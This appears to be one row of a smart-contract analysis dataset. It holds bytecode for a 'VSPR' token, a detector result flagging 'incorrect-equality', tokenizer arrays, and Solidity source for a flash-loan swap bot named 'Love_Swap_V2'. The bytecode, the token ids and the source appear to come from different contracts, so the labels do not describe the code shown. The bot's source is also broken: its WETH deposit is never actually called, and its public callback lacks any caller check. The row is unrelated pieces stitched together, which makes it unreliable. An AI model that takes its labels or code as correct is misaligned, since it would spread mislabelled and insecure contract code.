600160a01b038085166000908152600660205260408082205486841683529120546107c4929182169116846117b0565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b60055460ff1690565b600061070b6108086114ce565b8461078d85600160006108196114ce565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906118f2565b6108516114ce565b600a546001600160a01b039081169116146108b3576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6108bd828261194c565b6001600160a01b038083166000908152600660205260408120546108e29216836117b0565b5050565b6006602052600090815260409020546001600160a01b031681565b61090b3382611a3c565b50565b60086020526000908152604090205463ffffffff1681565b6001600160a01b031660009081526020819052604090205490565b6109496114ce565b600a546001600160a01b039081169116146109ab576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600a546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600a80546001600160a01b0319169055565b6000438210610a355760405162461bcd60e51b8152600401808060200182810382526027815260200180611d836027913960400191505060405180910390fd5b6001600160a01b03831660009081526008602052604090205463ffffffff1680610a6357600091505061070f565b6001600160a01b038416600090815260076020908152604080832063ffffffff600019860181168552925290912054168310610ad2576001600160a01b03841660009081526007602090815260408083206000199490940163ffffffff1683529290522060010154905061070f565b6001600160a01b038416600090815260076020908152604080832083805290915290205463ffffffff16831015610b0d57600091505061070f565b600060001982015b8163ffffffff168163ffffffff161115610bc657600282820363ffffffff16048103610b3f611cda565b506001600160a01b038716600090815260076020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915290871415610ba15760200151945061070f9350505050565b805163ffffffff16871115610bb857819350610bbf565b6001820392505b5050610b15565b506001600160a01b038516600090815260076020908152604080832063ffffffff9094168352929052206001015491505092915050565b600b546001600160a01b03163314610c5c576040805162461bcd60e51b815260206004820152601b60248201527f43616c6c6572206973206e6f7420746865206e6577206f776e65720000000000604482015290519081900360640190fd5b600b54600a546040516001600160a01b0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600b8054600a80546001600160a01b03199081166001600160a01b03841617909155169055565b60096020526000908152604090205481565b600a546001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ed5780601f106106c2576101008083540402835291602001916106ed565b600061070b610d516114ce565b8461078d85604051806060016040528060258152602001611ea46025913960016000610d7b6114ce565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611719565b6000610dc0610db96114ce565b84846115be565b61070b60066000610dcf6114ce565b6001600160a01b03908116825260208083019390935260409182016000908120548883168252600690945291909120549181169116846117b0565b6001600160a01b03811660009081526008602052604081205463ffffffff1680610e35576000610e67565b6001600160a01b038316600090815260076020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610e99610661565b80519060200120610ea8611ad1565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a9052825180850390910181526101408401835280519085012061190160f01b6101608501526101628401829052610182808501829052835180860390910181526101a285018085528151918701919091206000918290526101c2860180865281905260ff8b166101e287015261020286018a90526102228601899052935192965090949293909260019261024280840193601f198301929081900390910190855afa158015610fdb573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661102d5760405162461bcd60e51b8152600401808060200182810382526026815260200180611daa6026913960400191505060405180910390fd5b6001600160a01b0381166000908152600960205260409020805460018101909155891461108b5760405162461bcd60e51b8152600401808060200182810382526022815260200180611e826022913960400191505060405180910390fd5b874211156110ca5760405162461bcd60e51b8152600401808060200182810382526026815260200180611d5d6026913960400191505060405180910390fd5b6110d4818b611a3c565b505050505b505050505050565b42841015611136576040805162461bcd60e51b815260206004820152601e60248201527f565350523a7065726d69743a207369676e617475726520657870697265640000604482015290519081900360640190fd5b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866611161610661565b80519060200120611170611ad1565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401206001600160a01b038c8116600081815260098752848120805460018082019092557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c089015260e0880193909352928e1661010087015261012086018d90526101408601919091526101608086018c9052845180870390910181526101808601855280519087012061190160f01b6101a08701526101a286018490526101c2808701829052855180880390910181526101e2870180875281519189019190912090839052610202870180875281905260ff8c1661022288015261024287018b905261026287018a90529451939750959394909391926102828083019392601f198301929081900390910190855afa1580156112cc573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061130257508a6001600160a01b0316816001600160a01b0316145b611353576040805162461bcd60e51b815260206004820152601f60248201527f565350523a3a7065726d69743a20696e76616c6964207369676e617475726500604482015290519081900360640190fd5b61135e8b8b8b6114d2565b5050505050505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b60076020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6113ef6114ce565b600a546001600160a01b03908116911614611451576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166114ac576040805162461bcd60e51b815260206004820152601d60248201527f4e6577206f776e657220697320746865207a65726f2061646472657373000000604482015290519081900360640190fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b0383166115175760405162461bcd60e51b8152600401808060200182810382526024815260200180611df56024913960400191505060405180910390fd5b6001600160a01b03821661155c5760405162461bcd60e51b8152600401808060200182810382526022815260200180611d156022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166116035760405162461bcd60e51b8152600401808060200182810382526025815260200180611dd06025913960400191505060405180910390fd5b6001600160a01b0382166116485760405162461bcd60e51b8152600401808060200182810382526023815260200180611cf26023913960400191505060405180910390fd5b6116538383836118ed565b61169081604051806060016040528060268152602001611d37602691396001600160a01b0386166000908152602081905260409020549190611719565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546116bf90826118f2565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156117a85760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561176d578181015183820152602001611755565b50505050905090810190601f16801561179a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b816001600160a01b0316836001600160a01b0316141580156117d25750600081115b156118ed576001600160a01b03831615611864576001600160a01b03831660009081526008602052604081205463ffffffff169081611812576000611844565b6001600160a01b038516600090815260076020908152604080832063ffffffff60001987011684529091529020600101545b905060006118528285611ad5565b905061186086848484611b17565b5050505b6001600160a01b038216156118ed576001600160a01b03821660009081526008602052604081205463ffffffff16908161189f5760006118d1565b6001600160a01b038416600090815260076020908152604080832063ffffffff60001987011684529091529020600101545b905060006118df82856118f2565b90506110d985848484611b17565b505050565b600082820183811015610e67576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0382166119a7576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6119b3600083836118ed565b6002546119c090826118f2565b6002556001600160a01b0382166000908152602081905260409020546119e690826118f2565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0380831660009081526006602052604081205490911690611a6384610926565b6001600160a01b0385811660008181526006602052604080822080546001600160a01b031916898616908117909155905194955093928616927f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4611acb8284836117b0565b50505050565b4690565b6000610e6783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611719565b6000611b3b43604051806060016040528060348152602001611e4e60349139611c7c565b905060008463ffffffff16118015611b8457506001600160a01b038516600090815260076020908152604080832063ffffffff6000198901811685529252909120548282169116145b15611bc1576001600160a01b038516600090815260076020908152604080832063ffffffff60001989011684529091529020600101829055611c32565b60408051808201825263ffffffff808416825260208083018681526001600160a01b038a166000818152600784528681208b8616825284528681209551865490861663ffffffff19918216178755925160019687015590815260089092529390208054928801909116919092161790555b604080518481526020810184905281516001600160a01b038816927fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724928290030190a25050505050565b6000816401000000008410611cd25760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561176d578181015183820152602001611755565b509192915050565b60408051808201909152600080825260208201529056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365565350523a3a64656c656761746542795369673a207369676e61747572652065787069726564565350523a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e6564565350523a3a64656c656761746542795369673a20696e76616c6964207369676e617475726545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373565350523a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365565350523a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473565350523a3a64656c656761746542795369673a20696e76616c6964206e6f6e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220566482814346eff919f68f7dbf33a897212744dfe0c5ca1f58c9b6d1fe16034064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 10790, 2094, 16703, 2575, 12879, 2620, 2546, 2620, 23499, 26337, 2050, 2575, 2683, 19797, 2575, 19317, 18827, 19841, 2575, 3540, 2581, 2683, 2475, 2278, 2575, 2620, 2487, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,857
0x978135DD8424c97bd1a2C22f8Da490fbC428537A
pragma solidity 0.7.4; pragma experimental ABIEncoderV2; contract DydxFlashloanBase { using SafeMath for uint256; // -- Internal Helper functions -- // function _getMarketIdFromTokenAddress(address _solo, address token) internal view returns (uint256) { ISoloMargin solo = ISoloMargin(_solo); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("No marketId found for provided token"); } function _getRepaymentAmountInternal(uint256 amount) internal pure returns (uint256) { // Needs to be overcollateralize // Needs to provide +2 wei to be safe return amount.add(2); } function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } } contract Love_Swap_V2 is DydxFlashloanBase { using SafeMath for uint256; using SafeERC20 for IERC20; using address_make_payable for address; struct MyCustomData { address token; uint256 repayAmount; } address superMan; address cofixRouter = 0x26aaD4D82f6c9FA6E34D8c1067429C986A055872; address uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address USDTAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7; address cofiAddress = 0x1a23a6BfBAdB59fa563008c0fB7cf96dfCF34Ea1; address WETHAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address dydxAddress = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; uint256 cofixETHSapn = 300 ether; uint256 nestPrice = 0.01 ether; constructor() public { superMan = address(msg.sender); IERC20(USDTAddress).safeApprove(cofixRouter, 10000000000000000); IERC20(USDTAddress).safeApprove(uniRouter, 10000000000000000); } function getCofixRouter() public view returns(address) { return cofixRouter; } function getUniRouter() public view returns(address) { return uniRouter; } function getNestPrice() public view returns(uint256) { return nestPrice; } function getSuperMan() public view returns(address) { return superMan; } function getCofixETHSapn() public view returns(uint256) { return cofixETHSapn; } function setCofixRouter(address _cofixRouter) public onlyOwner { cofixRouter = _cofixRouter; } function setUniRouter(address _uniRouter) public onlyOwner { uniRouter = _uniRouter; } function setNestPrice(uint256 _amount) public onlyOwner { nestPrice = _amount; } function setSuperMan(address _newMan) public onlyOwner { superMan = _newMan; } function setCofixETHSapn(uint256 _amount) public onlyOwner { cofixETHSapn = _amount; } // 实现操作 function callFunction( address sender, Account.Info memory account, bytes memory data ) public { MyCustomData memory mcd = abi.decode(data, (MyCustomData)); uint256 tokenBalanceBefore = IERC20(mcd.token).balanceOf(address(this)); // money // WETH->ETH WETH9(WETHAddress).withdraw(tokenBalanceBefore); // ETH->USDT uint256 loopTimes = address(this).balance.div(cofixETHSapn); for(uint256 i = 0; i < loopTimes; i++) { CoFiXRouter(cofixRouter).swapExactETHForTokens{value:cofixETHSapn}(USDTAddress,cofixETHSapn.sub(nestPrice),1,address(this), address(this), uint256(block.timestamp).add(100)); } // USDT->ETH uint256 usdtBalance = IERC20(USDTAddress).balanceOf(address(this)); address[] memory uniData = new address[](2); uniData[0] = address(0xdAC17F958D2ee523a2206206994597C13D831ec7); uniData[1] = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); UniswapV2Router(uniRouter).swapExactTokensForETH(usdtBalance,1,uniData,address(this),uint256(block.timestamp).add(100)); // ETH->WETH WETH9(WETHAddress).deposit{value:tokenBalanceBefore.add(2)}; uint256 balOfLoanedToken = IERC20(mcd.token).balanceOf(address(this)); require( balOfLoanedToken >= mcd.repayAmount, "Not enough funds to repay dydx loan!" ); } function initiateFlashLoan(uint256 _amount) external { ISoloMargin solo = ISoloMargin(dydxAddress); uint256 marketId = _getMarketIdFromTokenAddress(dydxAddress, WETHAddress); uint256 repayAmount = _getRepaymentAmountInternal(_amount); IERC20(WETHAddress).approve(dydxAddress, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _amount); operations[1] = _getCallAction( abi.encode(MyCustomData({token: WETHAddress, repayAmount: repayAmount})) ); operations[2] = _getDepositAction(marketId, repayAmount); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); solo.operate(accountInfos, operations); } function moreETH() public payable { } function turnOutToken(address token, uint256 amount) public onlyOwner{ IERC20(token).safeTransfer(superMan, amount); } function turnOutETH(uint256 amount) public onlyOwner { address payable addr = superMan.make_payable(); addr.transfer(amount); } function getTokenBalance(address token) public view returns(uint256) { return IERC20(token).balanceOf(address(this)); } function getETHBalance() public view returns(uint256) { return address(this).balance; } modifier onlyOwner(){ require(address(msg.sender) == superMan, "No authority"); _; } receive() external payable { } } interface WETH9 { function deposit() external payable; function withdraw(uint wad) external; } interface CoFiXRouter { function swapExactETHForTokens( address token, uint amountIn, uint amountOutMin, address to, address rewardTo, uint deadline ) external payable returns (uint _amountIn, uint _amountOut); function swapExactTokensForTokens( address tokenIn, address tokenOut, uint amountIn, uint amountOutMin, address to, address rewardTo, uint deadline ) external payable returns (uint _amountIn, uint _amountOut); function swapExactTokensForETH( address token, uint amountIn, uint amountOutMin, address to, address rewardTo, uint deadline ) external payable returns (uint _amountIn, uint _amountOut); } interface UniswapV2Router { function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library address_make_payable { function make_payable(address x) internal pure returns (address payable) { return address(uint160(x)); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // dydx library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } struct Storage { mapping(uint256 => Types.Par) balances; // Mapping from marketId to principal Status status; } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } enum AccountLayout {OnePrimary, TwoPrimary, PrimaryAndSecondary} enum MarketLayout {ZeroMarkets, OneMarket, TwoMarkets} struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } struct DepositArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address from; } struct WithdrawArgs { Types.AssetAmount amount; Account.Info account; uint256 market; address to; } struct TransferArgs { Types.AssetAmount amount; Account.Info accountOne; Account.Info accountTwo; uint256 market; } struct BuyArgs { Types.AssetAmount amount; Account.Info account; uint256 makerMarket; uint256 takerMarket; address exchangeWrapper; bytes orderData; } struct SellArgs { Types.AssetAmount amount; Account.Info account; uint256 takerMarket; uint256 makerMarket; address exchangeWrapper; bytes orderData; } struct TradeArgs { Types.AssetAmount amount; Account.Info takerAccount; Account.Info makerAccount; uint256 inputMarket; uint256 outputMarket; address autoTrader; bytes tradeData; } struct LiquidateArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } struct CallArgs { Account.Info account; address callee; bytes data; } } library Decimal { struct D256 { uint256 value; } } library Interest { struct Rate { uint256 value; } struct Index { uint96 borrow; uint96 supply; uint32 lastUpdate; } } library Monetary { struct Price { uint256 value; } struct Value { uint256 value; } } library Storage { // All information necessary for tracking a market struct Market { // Contract address of the associated ERC20 token address token; // Total aggregated supply and borrow amount of the entire market Types.TotalPar totalPar; // Interest index of the market Interest.Index index; // Contract address of the price oracle for this market address priceOracle; // Contract address of the interest setter for this market address interestSetter; // Multiplier on the marginRatio for this market Decimal.D256 marginPremium; // Multiplier on the liquidationSpread for this market Decimal.D256 spreadPremium; // Whether additional borrows are allowed for this market bool isClosing; } // The global risk parameters that govern the health and security of the system struct RiskParams { // Required ratio of over-collateralization Decimal.D256 marginRatio; // Percentage penalty incurred by liquidated accounts Decimal.D256 liquidationSpread; // Percentage of the borrower's interest fee that gets passed to the suppliers Decimal.D256 earningsRate; // The minimum absolute borrow value of an account // There must be sufficient incentivize to liquidate undercollateralized accounts Monetary.Value minBorrowedValue; } // The maximum RiskParam values that can be set struct RiskLimits { uint64 marginRatioMax; uint64 liquidationSpreadMax; uint64 earningsRateMax; uint64 marginPremiumMax; uint64 spreadPremiumMax; uint128 minBorrowedValueMax; } // The entire storage state of Solo struct State { // number of markets uint256 numMarkets; // marketId => Market mapping(uint256 => Market) markets; // owner => account number => Account mapping(address => mapping(uint256 => Account.Storage)) accounts; // Addresses that can control other users accounts mapping(address => mapping(address => bool)) operators; // Addresses that can control all users accounts mapping(address => bool) globalOperators; // mutable risk parameters of the system RiskParams riskParams; // immutable risk limits of the system RiskLimits riskLimits; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct TotalPar { uint128 borrow; uint128 supply; } struct Par { bool sign; // true if positive uint128 value; } struct Wei { bool sign; // true if positive uint256 value; } } abstract contract ISoloMargin{ struct OperatorArg { address operator; bool trusted; } function ownerSetSpreadPremium( uint256 marketId, Decimal.D256 memory spreadPremium ) public virtual; function getIsGlobalOperator(address operator) public virtual returns (bool); function getMarketTokenAddress(uint256 marketId) public virtual view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) public virtual; function getAccountValues(Account.Info memory account) public virtual returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) public virtual returns (address); function getMarketInterestSetter(uint256 marketId) public virtual returns (address); function getMarketSpreadPremium(uint256 marketId) public virtual returns (Decimal.D256 memory); function getNumMarkets() public view virtual returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) public virtual returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) public virtual; function ownerSetLiquidationSpread(Decimal.D256 memory spread) public virtual; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) public virtual; function getIsLocalOperator(address owner, address operator) public virtual returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) public virtual returns (Types.Par memory); function ownerSetMarginPremium( uint256 marketId, Decimal.D256 memory marginPremium ) public virtual; function getMarginRatio() public virtual returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) public virtual returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) public virtual returns (bool); function getRiskParams() public virtual returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) public virtual returns (address[] memory, Types.Par[] memory, Types.Wei[] memory); function renounceOwnership() public virtual; function getMinBorrowedValue() public virtual returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) public virtual; function getMarketPrice(uint256 marketId) public virtual returns (address); function owner() public virtual returns (address); function isOwner() public virtual returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) public virtual returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) public virtual; function operate( Account.Info[] memory accounts, Actions.ActionArgs[] memory actions ) public virtual; function getMarketWithInfo(uint256 marketId) public virtual returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) public virtual; function getLiquidationSpread() public virtual returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) public virtual returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) public virtual returns (Types.TotalPar memory); function getLiquidationSpreadForPair( uint256 heldMarketId, uint256 owedMarketId ) public virtual returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) public virtual returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) public virtual returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) public virtual returns (uint8); function getEarningsRate() public virtual returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) public virtual; function getRiskLimits() public virtual returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) public virtual returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) public virtual; function ownerSetGlobalOperator(address operator, bool approved) public virtual; function transferOwnership(address newOwner) public virtual; function getAdjustedAccountValues(Account.Info memory account) public virtual returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) public virtual returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) public virtual returns (Interest.Rate memory); }
